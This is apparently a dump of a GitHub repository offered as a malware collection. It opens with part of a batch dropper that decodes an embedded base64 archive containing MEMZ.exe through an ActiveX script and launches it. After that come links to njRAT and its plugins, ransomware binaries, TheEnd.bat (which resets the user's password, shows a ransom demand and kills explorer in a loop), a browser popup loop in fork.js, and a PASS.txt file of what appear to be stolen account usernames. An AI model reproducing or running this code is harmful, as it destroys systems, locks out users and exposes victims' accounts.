HUJ99TU8L+qPDq0aoxib+MfYN7FSCDU0NqHYXgjxVuzUS6fVVupsH8Ld5kCkoWNDr0F5u38fXu5U>>x 38 | echo gWxTnGrMoqDbahU9x5pipXKDnm1NoG6TTs5X/36ftU5GsGb5HHe4lQhhUihzT8exIaaNS6ddKKM1>>x 39 | echo xoHkRnlMKyrtZDc0u0HKI0wd7S9ryFdlJRzNSmI0Zo9JkWkIvvT4l6QhA3dpVG1Dd+nCZbahrEtV>>x 40 | echo EMUUCeW2xnh4z9B0uiL9utT9kts2SahBCaWjnh/MjNrSO25F9kTFoxp/nqZL7S9rKWWkNn9rG3pn>>x 41 | echo 6MrQaw04ULRDFg1yAN3GjUNjVe6ktXI289d3aaj43j3rpZxjsRMKGnMrEDYoRkzTyrmIxq2QD1Rp>>x 42 | echo 4J76y+vdDIytk2PTYhxTOyaiTutQWIM1bqIHwLhiu9X4+xpb29A4HGXoT7vF7XO7h5jtM/5d29Ed>>x 43 | echo ZTqquqPa7Y0r/3zn+6Cye3j7AnfSbe7pG7vLKlrDuu6yulZleBqGtHZH72xVVq4cufMvt90quejb>>x 44 | echo m7IvD1VnX35FXFxDz9vFddLTKj0HWdP/iWT8/0I5bCLkGGAUMA7QmWX8d/B+wCS/n19FyCcAzU2E>>x 45 | echo pAJYAAdYA3gP+G7UdwDuBzwOeA5wDHACMIL+YcDPAA8D9gJ2AbYBNqDfsUrmcSDO14raBOAA3XGc>>x 46 | echo EnLMAlAjcAAToBlAPesOwN9WE/IYYCfAB9gEqAGUAJYAZgGugFcM9SnACOA5wBhwe1fLPHbFeeUD>>x 47 | echo 6O8hvxhNvPeVe98+wiifVZJnyC8IOT7bMBx9JfpS9OUXCHmRmA71X3k4MVhcEQmqzupI9o7Blw49>>x 48 | echo ceVXkY/F8KWz74qDrx6KvnIo+mH0nf7XiGmij4QvRU+cfVV86pn3qo6odD8nx3UvQpbhh54lR+59>>x 49 | echo 6Qghz44kfvTjFw48AuwZu1b1nv3niqbD33wWY8jm42m39F+JPXIXc+jw2I+v/CbyKQn/99boiSej>>x 50 | echo L0XOZL1XOTj6XuXwB+rhvygH/xr9sKP/k4sPhV95gZhA6ggWc/IIWAxf+c1Zljx16olDT/RfGX4o>>x 51 | echo VNkvHpwRUp09J1IuijgXzOj/5MAjYdVzFx+S+Rz/Ih+Jydmfi+Bw9iWRtDwxMBNFus9rpF8SWFKc>>x 52 | echo PHDhwswLhKwj9zMRkTQ2kkcayfu2nVkXshSVDaTBqpyVNaBDUVoZpVUT0SkNWQOpKMoIM1CNohxk>>x 53 | echo lJGUu00p589/gKJ8lFH+QL3z/PkU5eYblYOagTUoypOMciTlHnL+g9OnTqMcx5/yI2bg9AfnifLn>>x 54 | echo 8we6UVQso2I1qoUp/eS88lO1yswMjCQmjig/ZnadJ7rEROXP5g34UFR+ZuA8iqqXUfk1u0liIhk9>>x 55 | echo r7pJ808gSnp6ehJHRkZGE/GiUs5T9WoG3kdRHWNUw5rdScTfk0hU96qVnzD9p0ZUjzKRHtX7jOo8>>x 56 | echo o2qZN/AECqNjGJ2GmZNEx/ohyMeJqn3qyBhTykT8zEq16odzB76PwmxmBowojJNhNk8fUJHz7ygv>>x 57 | echo MKr7E/t7/MxqhrmHYdbMY5yau8tQPgYwT2kfLOMg6fl35JLih6hy6fErVP86d2A/ipow/fsfUTMJ>>x 58 | echo ajJtEG0syE8UqkFmQIGiXpCg1qtV6oyBb6OorYy6RqfexKhzGLVbrd6YqPYmKo7sI49cSNgfVB/6>>x 59 | echo buKOhMQd63ZemJml/rGoeeIXSuvHqhq1qkEdmamyZar86bvOj0Ig1R6tap+mf5SoHp2vGk5nqpn+>>x 60 | echo 0VHVO0mR06pYDjNz3oAfojL5ScyKpczmzIiKuSuZuXspMzyd+aUuUsb8Npk5maPWabUjWvUNGjWb>>x 61 | echo rF6+WN2ZELmgbktT356oDsxU71yuflJM+KmY+PS/9c+cqfhOIzn1dMrlA2Rdc9LGtFmLk3bpUlBm>>x 62 | echo mZhZJk1Sf1ZkZtKP0maFpw0QuJSWUUdOJT/NJB1XJ71h1io0O0+PjMzaz8z6HpNUkJFcq5utS0nu>>x 63 | echo 0Mx6kImQZA+jakxIDmck75+RvG/G7Hz1rAfV2rZE7U/VyaFMRjdv58GDB1WnmdkDCZHjs6PqyA6t>>x 64 | echo g5n9doLWmaXlZiYHGCZXPbswOdIz+9vqSGIqGrF0bTQttYUZVKEYIc87s95NjEzXOtT9fj+jh/9o>>x 65 | echo n56nTknRnp65K3EUJXWYuRsVnMfvT32dOs1fMvovZM38nVptvSFCUt9kdirQU5qYNludNjsJepnx>>x 66 | echo 7n/OeOu76kPinEUHb/gBo0mv16TeOosVZ2c92Z+YOPu3Nw8chIekZtbtUvn9KmOqtyj10cz+vYmp>>x 67 | echo LxrUtfPTUsT0B0RN2n2pY4kgNidPZHfVJVlv7K82zdNxSQfZeZtv6R8ZWViqTl7ALLiQkWyam1Gb>>x 68 | echo tLAoISMpsf/0+dR0RvVDQ/9ooirKJD+ZkPG9hIxblmTsSO9PSsp8lMl4KDnjRznaggUL30jOuJyt>>x 69 | echo 3XFjhMu8KSmzNidTyIzsXZSekPndfLU1A0Lo3hqPXFhirScPr9154ULWkkcb4HMJo+KCZ/6gqlUv>>x 70 | echo vFetshUnb0hZ9B8a1cPlyY8nL09Sq2Lm5I81i25PZipMi57XMfdwiy5nZt+g1v7bwkhWtml+pCe7>>x 71 | echo Q/vNUTnmay8yy7QZ2XvZ3G+oc7eqs388g5SKeXN35IoNOSv2LXnoQSx+8X/dkiWYklhu7tiNEV2S>>x 72 | echo YJhnYpVjkXmj6dMVTGTzvM+mqe5fnsGlR1JUb92dMZJuvFnN3GVMtc41/gvDHF/GfS9J+0aWOmvx>>x 73 | echo jdHZuZvT1J4czSyRM36W+IKYN0/Mn/tdQ0lyZMxQ8UHy3Jx5o3P7N2+e92lycvfywoPpyY8PGk2Z>>x 74 | echo 2roi4975EaP24azi0dnaEWt2dP70VfNnvCUmPC/OGBR1u8Qlzb9eMPzrec8tWfjUsoxpOctH0itv>>x 75 | echo Tpi9fafen56aXqofnrtrGkpZ5k2Nqb80qq2Z2T9Ki1xIWyjOWS/eYBXT68WSO39vJqJZfDLjQFHl>>x 76 | echo aHqEyzi7oopL3zXN759WVlVvzdxjrBqZX3VeS62Q/VzjmpY3blwpKm5dQZ1jmdjIReaO/Xrht5bM>>x 77 | echo G1228K2ccv8Ni26IrtSxi4Y5496s7Bn96/ZnrPslU61Qm3YlrHu9psA6svrdh0z9TIFCpHv4E9Ea>>x 78 | echo Obt8Y045u2T5D5eX+xct/+iupkiu0bMysropptPHcmxZcyIf36pkcpcX2wQIf6tFHbmQ+w2D5max>>x 79 | echo be8Dm95obF/YePf2nFk5dWuOVLcPq+9dciS7KPvFRUXZZPGR6ro17cOa9jfVB4GLLnpxURT4ujUP>>x 80 | echo WbbnbM/x147lOJf6l/ldzpqxte1XEu52Lt2eU7fkocUds5gOHdORwuz2L9u+tm5NxxztwBhmdCRp>>x 81 | echo +sfWdqRoOtYwHRXqXTX+WmdN+8Xu3f7a/bll+o7hhI4nEgb8y2bltB9L6PfXdrym6d+f2/Em0/EM>>x 82 | echo c/f+3E/zs/PRHE7peF1zG2E6/sZgLFl+mzah4/fafnJzx7DneWfNRiEcYLsErz8c4gOs0x5kO3ne>>x 83 | echo x4YC9qCTd7CdfWzIybP1lvpbgBPcdl8+2yD0sLzPLdz2fMK3GvrsPrbKHsrPzy/A3eNgIu4fjS1N>>x 84 | echo bFVjvbWl2dLE1phtbKXF0sCuaalaZ6lmKzeyzTUWmWBzU+PN5ob86UnTkz4vRo/gywmxnYIQYsN+>>x 85 | echo 1r7F7vLlTk8KCmw4yLOuEAspPYJvC637hDD9Z6AFlEh5NX02B/pc6AsJ7FaXxyNz6qFvXXY6vY9y>>x 86 | echo CvYFQ7yXjunkpyc5+CDW1oflunzBkN0X8vTlsuDmkMQIBfooz/Jq7OM/AeYBnKGQv7ygYIsgbPHw>>x 87 | echo +V1CftfWgiBvD3Q5V9++qhPk9D32Pn1I0FMR9JRlkPd0X2OeU+jRF+oDvFfYxuvt+m2uQDh4LV7e>>x 88 | echo Lns3z+u3BfU+IRASfNcaT3lArCDvc0ywoG1vn7474ALymvxcPr4rYO8O6Z32Xr1D6PF5BLsDzCfF>>x 89 | echo vS7+W/iQ3iv4+L5r6lLw3eHSd4Ydjr6r3LoDPH9duuwM9+l7eN5BrleuLsExqXq9y4eXYNju0Xfa>>x 90 | echo g66uifvM19Lpcdqpavx+3gcC3dT0egfv4UO8XvY5Y+E1aWwxhvQB49bQNXVjD3U547JO6OZac6TR>>x 91 | echo +XzvtfTn8mEf+mAlvtfvEQJ8QO+Cozh5veTcnQGhJ8gHrkMf3fYuHvt4K3TStRXbEkoWPJIBv+g8>>x 92 | echo +h4hII0p5Awl17MO2NflcUA2D7/FFfo81eu0d4C3wzR0g+oxUR+w+4KCt8ceuB7/wvz4ZvXy3jv0>>x 93 | echo cni8zn2ADTcR7ahmHQJddw/vCjigZbxDGaFu2iP7ElzR77kDDY//6+k67L6tkjjXJ/+kDeQp15hj>>x 94 | echo 93TrPa5uXm/Ewj28PQh1Q33XmodVIAqGETrsIRdm2j3X9hsEh5B9C6/32wMCtr7XLjlG/N/9ZQf5>>x 95 | echo 2vnUVSWrwJRxll87nob9rQgx0tNr78Nf8Hr2u1tw+vRdvM+u97ocrrgj+oQQrOvbxgdCiD3X8GMf>>x 96 | echo H7SHuyRpeczyePiukIsG8q+Xd2sAOuV79cEuHDQCji04ErzP5wKpoD/gCvFBSaRJOvDsHj4QzPe6>>x 97 | echo ugJCUOgOgaS3gPflhYMF0GsIbAu6hUDYO9G6TYASA3kTrSD92AJGKKBqzfPaPXSXSM6eJ3t+HnVo>>x 98 | echo Guk8fXnxE5UOLywp7ewydBXmGcu6i/KKCrtL88o4NIvLVthLVhg7SzqLiqfq2Sux7RTsAUf+NqxG>>x 99 | echo EhMWdBT00HiXh+0RnGCfFwoHfHn2vImtlIewJaDtcMEMdk+ek/d4ILefn0Lf77H35Xd5wp3YVlvC>>x 100 | echo Lh+lP9nXJfhDLq/rDj6AZUs9k/OoygSoV8J22T3SeQBL834Emy6vg/RQpQMX4LfwDleITEROOi5k>>x 101 | echo D271bgkQbxB+0e3aQnHeoB95TYg4+G3eLd5QPvoIeqE3D/F6u2gexa6rratD0lS/MZ4rIc2h2RdN>>x 102 | echo erB8dosQz3QcLp7+rESaLLZmtraBtdbabLnsmsYmSytysHq08kkt22ZuagA1EEa6RmrMNWa2geMq>>x 103 | echo 2bpCK7vW2Mw2Gdc1I38D8W67y4N0yB6S0yWD0biCdRb1csicaEZzB2VG5WtuqgVBWyPSvKZq1txQ>>x 104 | echo za5tbKbtNeamXLayRRKG5nuWhupcVsoMrVWQw8bamrG0eFK4ALKgbsLqLA03N25kK7FSstbSjMyx>>x 105 | echo WU4iN7ANlg3NbHNtvYXtrcb4Vgsmg3bTxtqGtWxzI0uXjvXKTKrNzWaasd25qeBOI33g1K20NVZD>>x 106 | echo HGSmmAH5W2ubWmystcncsI5duraxwcK2NTU2rF1G9SiLQQVv2GhuYKvM0MtaPsTS+MAiQXRJjs96>>x 107 | echo yxbI+qLGQCKM/SaEsAoo9gt/ZFG9fStfLzvuWnrumGleS4itsd5S2Vi9kW1sqLJgJXWwt+VqkmzG>>x 108 | echo miBdg5ltaoTG6i0TeUibsw92d0jOwG+TcnYXbDY1710dT6yhc1eQ7Q53baVG9fUhOc0nNr4rHOAr>>x 109 | echo aZIdRE+Q2nRLoJT1lrIuFnVpQSmpsW+TMuYJ2thu1OOQDgvd3aDkYAWfnJ+vJhW1PuQEIfZmgfew>>x 110 | echo t4exM1hsZP4mKivWy4fosUbFs0O6tWaXmUUk6URIWhBfDzZrLku3rEDvHAE+n62Np+CdvMeFJbI9>>x 111 | echo fA6e0gUF+9PPBzxIzemOcSCCOjA+x8tW0oyRksyRPhXDH2YG+qRTFQR7YD36pZi3b/K6kTM9ic2j>>x 112 | echo phWErpCBlbMPzG9x5rJVCBSsNR4p2GaXl6crQPrKdiIc8o4FXz7ZJuV6NXaaUMvv68MIiVJcl9uW>>x 113 | echo 3i6P3WuXUaSA9BA7CZEu4iQOIhAaIJBgE2rECXs34x5GgxD1H8km7nAwxCKV68IiHHShiB5BF/Ih>>x 114 | echo tOIBEncrSQvxpnwPctoDXnlfT164qCVxxvJBatqwLxy0d3ro5NruyVgT5Hkp2Ejk+GAQpzPIhZxC>>x 115 | echo OMRu9Qk9tJNmv18UDXcpF06GPtgM83B9lNghdEomiYtEs5yrDClBmVpoqvgOARLSybQRDtLpdjaI>>x 116 | echo GxDuo9iRgs/Lw7owEE6/UG6c30Ze8jqc8HBOV0i6blY30jiBQNTQTGOHZYOlCrdVbLpaG1tvrkOg>>x 117 | echo tOTSiNJS10zDC4IYokBLQ4vNXFmHfWmuqqltsMR/15cm4Y/u2Doz4i8Ns5glXUkpsqrJYkZoomMa>>x 118 | echo EB1B1trYYKullBChQXkj4lW9eS0lXG1hW2xSRJsiCijJ4XJCztrm1dRnvPAZF6H+s2lT/iarsw+3>>x 119 | echo FLunOuDaxnPA0cMpPyR9q+cLOTw062oKecwOahwrBiHEb8GB1RBqsruCfA0OXEsgIEjnlY3wACcJ>>x 120 | echo wyepP/aAi5UEwG0bwIPeLYSedfTrB+xDKgKwAvFIc0PSGA9hMT8oSbgF7yHQc6HNwssFyO6XqPOg>>x 121 | echo uppcLcPxxli81pjkWhevU+N1drzOj9dF8XpjvHbJtWmHXPsfiLcfkeqJbzanA84BjpUD4t9rTvSl>>x 122 | echo kM+XtVXNdfRfHeh3j9I3kNlead0T30vmu+iHjNlSMqNDADoyF7j4N5CUPuUjt7PvuOMORyfd4/Qb>>x 123 | echo znvI5FzpbmiqwCqv4oySj1V8jof01SP9d60OZhInf+FoJWQXHRf/pnLXevmTy/zOoJzObpY/nZS+>>x 124 | echo pczmDBIKiEHFJE6Sobfi6rrfRQTPxhrHp+C+CS0+BpxnCu4J4NJZWdaJstAs6+fMFFwvcHuB27Tq>>x 125 | echo Ku47wGmgs1NTxh0BbpAlX1r+8W+KMo+Jf1O0KJGdWANCl9nhoEGPkGpVnYBgYPZI38LWyK019IeT>>x 126 | echo iKoRO5YOpgOHFZhZFQ4EEDkncHMVll7XZOtpUiXdkpudNAsn5D+mzJBxtcD+jLF5eN5PFqvbaB68>>x 127 | echo BsGFNJEqj0Aji8+BllntwaWgy+uHzJUT79hpFZDN7qhzdQbsgT70pdK11ONI90hUGuxeHqPulrgK>>x 128 | echo Xi+I1eHS1EYG43LRQWZyF2OjGnAJ4N5X5bFTHbwwIbkgeJBX+I2FNp/dH3QKCIn3q+LrMxaucQWC>>x 129 | echo oTay7yqmAbsbPH+uXOsROieU+Fy8JSmRNEgr8PA+jEPq2mCpMxbmS0G2nUpaL5+QbeSyspn+qOCB>>x 130 | echo GHEcIT8h1S4k/7jNTA4j/0WozttcPlzJg5ZecoBU891yk4qFEXXKJtwu6UVPWp6F7iNvfIXyQIra>>x 131 | echo TrnLKUY9j6ytC3pIUcb5VAoY8TslNBVnVCMIWy29IK5q8Tnx/jk0+QZG+hzxuTT3wVnfRrZJ2Fof>>x 132 | echo MgdylFQH7D21XTSJ+Q7lLBOoriI8pJV+IsD7gas9TbhKkrQp8rSRb1F54E9BIWAVIC0b96+J9iLa>>x 133 | echo ruaDW0OCXyZCyJ+JxRf2VjldHkdcZEIySRUyS2q6uPjkAwX1LCpdG2mxWZomLDSbVLpClZ4QtbAt>>x 134 | echo FOBhCKm1tro2PuSSYsoeaRa20hMui8hHp9ScPD+D5AFwEbaG/ZOoVrsnDJP+FLbp84fMXbeHXQG+>>x 135 | echo Cjc72atekvFreV8TfJleMc3VrWbrBGtyo8JGk2CLnD2ZycLPtdtIApmyDZoFc2DLNlBd8LlR1Ka2>>x 136 | echo GkvdhFNqiBXXXpsQ9jngNW21DfX1En42iccNLLPWC4tM7DiMstogVH51Xd2Xh+DrLm8uNxGt3kRM>>x 137 | echo AD/gKcAYgM01kQ2AQcAIIDXPRCoAfsA+wCigFMd7L+AIYBxgLUAbcAhwBpCOwLoBMAgYpkHWgDmA>>x 138 | echo CGBpIfCAxwDDgDcB9EvUM4AYYAwwDmCMkA+QDmABuYAiwMUS0FthIroV8oFSCpwHMAjYB3gKcBKQ>>x 139 | echo jdSjFNAMuBMwCNgHOAw4BhgFaIpBG7ABsA9wCPA8IAZgwGcpoBdwBHAZKQ4Xxt5Ok+sf3IC5DYQc>>x 140 | echo nIP1vwJ9xvHL58j47nTImIOzEm3TAULOYvzm9wk5jva+cjLxv0v+HykKko5nuvy/XT6Hp3JyX4Kf>>x 141 | echo hhynhlzNU/6+VKzu9XpY3PGCuEutyjHkczm4DnQJDlwPVuW0NK/JK82h2b/PYfcIPn5VTh8fzFl9>>x 142 | echo 0/SkCkRR3EBxMQEBX3BVDm635cEuJ++1B/MmfyajPy6V24Pe/G2GHFxEfK5u3C1ap3IDKZatCAUQ>>x 143 | echo G2p93UKc2sJrUDMulOZhZpBexHFqxdvABPjb6XWRd1wNM5OdU7vl3Q5B6nDH9bAe+lyVQ7sRccwO>>x 144 | echo r8uH8yJgDwmBHDbsMnfRbb4qp9vuCfI5bMFVfgVfzbCi4HPiVRRMrpNqsGBChWh8pcmRgG6A3WZx>>x 145 | echo uVwpZ+Ju4TZz3ZyXC3NPcf/ODXNHufe4jziFYZphpiHDsNxgMJQZTAbe4Df0G35h+I3hPcNFw2eG>>x 146 | echo tMIVhdWF6wpbCjcVbi0MFe4qvKfwXwofLTxa+Hbhfyv8oPBSYZoxw5hnLDdWG9cZNxm7jT7jncZv>>x 147 | echo Gx8z/tL4ivG08V3jZ0ZlUVKRrii9KKsov6ikyFS0vqi1qKMoUHR30f1F3yt6oujVojNFHxbpim8o>>x 148 | echo zizOLq4rbireUNxR/I3i14rfKf7P4ovFaSXzS4pLzCVbSrwlwZK+kqGSb5fsK3my5HDJcyUnS86U>>x 149 | echo fFjiXhFaMbAiuuKfVvzzit+u+GjF5RXTSvNLS0otpetK15e2lfpL95Q+UPr90qdKXy49VfpeaULZ>>x 150 | echo 7DK2LL+stqyzrL9ssOyBskfK/rXsp2XPlA2XHS37sExdvrC8sfyWck95oHx7+UD53vIfl6eunLeS>>x 151 | echo XblkJc31D1P9cgyn4bScjkvl0rlMjuWyuaXQNccVQd8V0Hg1V8PVcVaumdvAbYL2HZyT83B+LsT1>>x 152 | echo cndyEW4XN8jdw+3l7uP2cQe4g9xj3OPcIVjnMHeEex4WOsa9zo1wb3InuVPcKHeGi3HnuDHuIjfO>>x 153 | echo XeaIgTFoDFqDzpBqSDdkGlhDtmGpIdfAGRCHDTUGq2GDYbPBCWv2Gv4XwsY/yv+35X8CUEsBAhQA>>x 154 | echo FAAAAAgAdXfqSJDoh9lzIQAAADoAAAgAAAAAAAAAAAAAAP+BAAAAAE1FTVouZXhlUEsFBgAAAAAB>>x 155 | echo AAEANgAAAJkhAAAAAA==>>x 156 | 157 | echo f=new ActiveXObject(^"Scripting.FileSystemObject^");i=f.getFile(^"x^").openAsTextStream();>x.js 158 | echo x=new ActiveXObject(^"MSXml2.DOMDocument^").createElement(^"Base64Data^");x.dataType=^"bin.base64^";>>x.js 159 | echo x.text=i.readAll();o=new ActiveXObject(^"ADODB.Stream^");o.type=1;o.open();o.write(x.nodeTypedValue);>>x.js 160 | echo z=f.getAbsolutePathName(^"z.zip^");o.saveToFile(z);s=new ActiveXObject(^"Shell.Application^");>>x.js 161 | echo s.namespace(26).copyHere(s.namespace(z).items());o.close();i.close();>>x.js 162 | 163 | set v="%appdata%\MEMZ.exe" 164 | del %v% >NUL 2>NUL 165 | cscript x.js >NUL 2>NUL 166 | del x.js >NUL 2>NUL 167 | del z.zip >NUL 2>NUL 168 | del x >NUL 2>NUL 169 | start "" %v% -------------------------------------------------------------------------------- /MEMZ/MEMZ.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/MEMZ/MEMZ.exe -------------------------------------------------------------------------------- /MasterSlave (test)/1.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/MasterSlave (test)/1.bmp -------------------------------------------------------------------------------- /MasterSlave (test)/2.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/MasterSlave (test)/2.bmp -------------------------------------------------------------------------------- /MasterSlave (test)/3.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/MasterSlave (test)/3.bmp -------------------------------------------------------------------------------- /MasterSlave (test)/4.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/MasterSlave (test)/4.bmp -------------------------------------------------------------------------------- /MasterSlave (test)/5.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/MasterSlave (test)/5.bmp -------------------------------------------------------------------------------- /MasterSlave (test)/6.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/MasterSlave (test)/6.bmp -------------------------------------------------------------------------------- /MasterSlave (test)/MasterSlave.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/MasterSlave (test)/MasterSlave.exe -------------------------------------------------------------------------------- /MasterSlave (test)/SDL.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/MasterSlave (test)/SDL.dll -------------------------------------------------------------------------------- /MasterSlave (test)/cursor.cur: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/MasterSlave (test)/cursor.cur -------------------------------------------------------------------------------- /Mitologia/0a-PORNOSKI.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/Mitologia/0a-PORNOSKI.exe -------------------------------------------------------------------------------- /Mitologia/smss.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/Mitologia/smss.exe -------------------------------------------------------------------------------- /NJRAT/njRAT 0.7d/GeoIP.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/NJRAT/njRAT 0.7d/GeoIP.dat -------------------------------------------------------------------------------- /NJRAT/njRAT 0.7d/NjRAT 0.7d.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/NJRAT/njRAT 0.7d/NjRAT 0.7d.exe -------------------------------------------------------------------------------- /NJRAT/njRAT 0.7d/Plugin/cam.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/NJRAT/njRAT 0.7d/Plugin/cam.dll -------------------------------------------------------------------------------- /NJRAT/njRAT 0.7d/Plugin/ch.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/NJRAT/njRAT 0.7d/Plugin/ch.dll -------------------------------------------------------------------------------- /NJRAT/njRAT 0.7d/Plugin/mic.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/NJRAT/njRAT 0.7d/Plugin/mic.dll -------------------------------------------------------------------------------- /NJRAT/njRAT 0.7d/Plugin/plg.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/NJRAT/njRAT 0.7d/Plugin/plg.dll -------------------------------------------------------------------------------- /NJRAT/njRAT 0.7d/Plugin/pw.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/NJRAT/njRAT 0.7d/Plugin/pw.dll -------------------------------------------------------------------------------- /NJRAT/njRAT 0.7d/Plugin/sc2.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/NJRAT/njRAT 0.7d/Plugin/sc2.dll -------------------------------------------------------------------------------- /NJRAT/njRAT 0.7d/Stub.manifest: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /NJRAT/njRAT 0.7d/WinMM.Net.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/NJRAT/njRAT 0.7d/WinMM.Net.dll -------------------------------------------------------------------------------- /NJRAT/njRAT 0.7d/nj_users/KHALED_PC_Future_22A4A3B1/PASS.txt: -------------------------------------------------------------------------------- 1 | USR: ahmadmahdi88 2 | PWD: 3 | URL: http://Yahoo.com 4 | 5 | USR: bmno56dt2v7vjffpcle3sfsxhwxccgmlfmufmtc5 6 | PWD: 7 | URL: http://Yahoo.com 8 | 9 | USR: alas.66 10 | PWD: 11 | URL: http://skype.com 12 | 13 | USR: alshad45 14 | PWD: 15 | URL: http://skype.com 16 | 17 | -------------------------------------------------------------------------------- /Putin/putin.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/Putin/putin.exe -------------------------------------------------------------------------------- /Serpent Ransomware/software.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/Serpent Ransomware/software.exe -------------------------------------------------------------------------------- /TheEnd/TheEnd.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | title TheEnd 3 | color 4 4 | echo 5 | PING 127.0.0.1 -n 1 -w 3000 >NUL 6 | color 0a 7 | PING 127.0.0.1 -n 1 -w 3000 >NUL 8 | set /p username=TheEnd: 9 | net user %username% Dendrofil 10 | echo 11 | echo 12 | echo 13 | echo RansomWare enabled, contact me at dendrofil@dendrofil.pl so you can make a deal with the infected owner. 14 | echo 15 | echo 16 | PING 127.0.0.1 -n 1 -w 1500 >NUL 17 | :k 18 | taskkill /f /im explorer.exe 19 | goto k -------------------------------------------------------------------------------- /Watykańczyk/Guide.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/Watykańczyk/Guide.exe -------------------------------------------------------------------------------- /Youareanidiot/AxInterop.ShockwaveFlashObjects.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/Youareanidiot/AxInterop.ShockwaveFlashObjects.dll -------------------------------------------------------------------------------- /Youareanidiot/Interop.ShockwaveFlashObjects.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/Youareanidiot/Interop.ShockwaveFlashObjects.dll -------------------------------------------------------------------------------- /Youareanidiot/YouAreAnIdiot.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/Youareanidiot/YouAreAnIdiot.exe -------------------------------------------------------------------------------- /fork.js: -------------------------------------------------------------------------------- 1 | function Hello() { 2 | if(!loop) return; 3 | if (i >= len) { i = 0; } // start over 4 | while (true) { 5 | window.open("https://www.hacking.pl/"); 6 | } 7 | } 8 | 9 | var i = 0, 10 | len = frames.length, 11 | loop = false; 12 | 13 | function startStop1(){ 14 | // Below is shorthand to invert the value of the loop variable from true to false. 15 | loop = !loop; 16 | // I guess we're also like to change the text on the loop button to say start or stop 17 | // below we are using shorthand for if(loop === true) print "STOP" else print "START" 18 | document.getElementById("loop").value = loop ? "STOP LOOP" : "START LOOP"; 19 | // then we need to call your function, because we want to restart the loop or stop it after clicking 20 | Hello(); 21 | } -------------------------------------------------------------------------------- /malware.git: -------------------------------------------------------------------------------- 1 | echo "# Mine" >> README.md 2 | git init 3 | git add README.md 4 | git commit -m "more or less dangerous viruses. Use at Your own risk." 5 | git remote add origin https://github.com/Viper4K/malware.git 6 | git push -u origin master 7 | --------------------------------------------------------------------------------